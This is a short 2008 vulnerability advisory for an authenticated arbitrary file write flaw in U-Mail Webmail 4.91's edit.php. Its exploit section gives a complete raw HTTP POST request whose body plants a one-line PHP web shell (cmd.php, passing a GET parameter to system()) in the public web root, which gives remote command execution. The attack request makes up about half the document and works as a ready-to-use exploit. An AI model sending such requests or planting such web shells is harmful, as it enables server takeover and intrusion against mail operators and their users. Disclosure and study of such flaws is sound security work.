U-Mail Webmail Arbitrary File Write Vulnerability

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Vulnerable:   U-Mail 4.91 
Vendors:  www.comingchina.com  
Category:     Input Validation Error
Impact:    An attacker can write arbitrary data to new files.
Author:    Shennan Wang
Date:    2008-10-30
Web:    http://hi.baidu.com/nansec


Details:
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This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories.


Exploit:
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POST /webmail/modules/filesystem/edit.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: mail.d4rkn3t.cn
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18

path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?system($_GET[cmd]);?>